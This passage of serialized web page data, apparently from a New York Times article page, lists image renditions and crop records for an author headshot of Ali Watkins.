renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square320.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-moth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-filmstrip.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square640.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumSquare149.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-sfSpan.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-sfSpan.png","name":"sfSpan","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontal375.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeHorizontal375.png","name":"largeHorizontal375","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontalJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeHorizontalJumbo.png","name":"largeHorizontalJumbo","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-horizontalMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-horizontalMediumAt2X.png","name":"horizontalMediumAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.3":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-sfSpan.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontal375.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeHorizontalJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-horizontalMediumAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-hpLarge.png","name":"hpLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen573.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeWidescreen573.png","name":"largeWidescreen573","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen1050.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-largeWidescreen1050.png","name":"largeWidescreen1050","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.4":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen573.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-largeWidescreen1050.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbWide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-thumbWide.png","name":"thumbWide","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoThumb.png","name":"videoThumb","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoLarge.png","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo210.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo210.png","name":"mediumThreeByTwo210","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo225.png","name":"mediumThreeByTwo225","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo440.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo440.png","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo252.png","name":"mediumThreeByTwo252","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo378.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumThreeByTwo378.png","name":"mediumThreeByTwo378","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoLargeAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-threeByTwoLargeAt2X.png","name":"threeByTwoLargeAt2X","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-threeByTwoMediumAt2X.png","name":"threeByTwoMediumAt2X","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoSmallAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-threeByTwoSmallAt2X.png","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.5":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbWide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo210.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo440.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo252.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumThreeByTwo378.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoLargeAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoMediumAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-threeByTwoSmallAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-articleInline.png","name":"articleInline","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-hpSmall.png","name":"hpSmall","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blogSmallInline.png","name":"blogSmallInline","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumFlexible177.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumFlexible177.png","name":"mediumFlexible177","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.6":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumFlexible177.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSmall.png","name":"videoSmall","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoHpMedium.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoHpMedium.png","name":"videoHpMedium","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine600.png","name":"videoSixteenByNine600","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine540.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine540.png","name":"videoSixteenByNine540","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine495.png","name":"videoSixteenByNine495","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine390.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine390.png","name":"videoSixteenByNine390","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine1050.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine1050.png","name":"videoSixteenByNine1050","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine480.png","name":"videoSixteenByNine480","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine310.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine310.png","name":"videoSixteenByNine310","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine225.png","name":"videoSixteenByNine225","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine96.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine96.png","name":"videoSixteenByNine96","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine768.png","name":"videoSixteenByNine768","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine150.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine150.png","name":"videoSixteenByNine150","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNineJumbo1600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNineJumbo1600.png","name":"videoSixteenByNineJumbo1600","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.7":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoHpMedium.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine600.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine540.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine390.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine1050.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine310.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine96.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine768.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine150.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNineJumbo1600.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-miniMoth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-miniMoth.png","name":"miniMoth","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-windowsTile336H.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-windowsTile336H.png","name":"windowsTile336H","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoFifteenBySeven1305.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoFifteenBySeven1305.png","name":"videoFifteenBySeven1305","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.8":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-miniMoth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-windowsTile336H.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoFifteenBySeven1305.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.9":{"renditions":[],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-facebookJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-facebookJumbo.png","name":"facebookJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.10":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-facebookJumbo.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch308.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-watch308.png","name":"watch308","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch268.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-watch268.png","name":"watch268","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.11":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch308.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch268.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.12":{"renditions":[],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia":{"crops":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.1","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.2","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.3","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.4","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.5","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.6","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.7","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.8","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.9","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.10","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.11","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.12","typename":"ImageCrop"}],"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.timestampBlock":{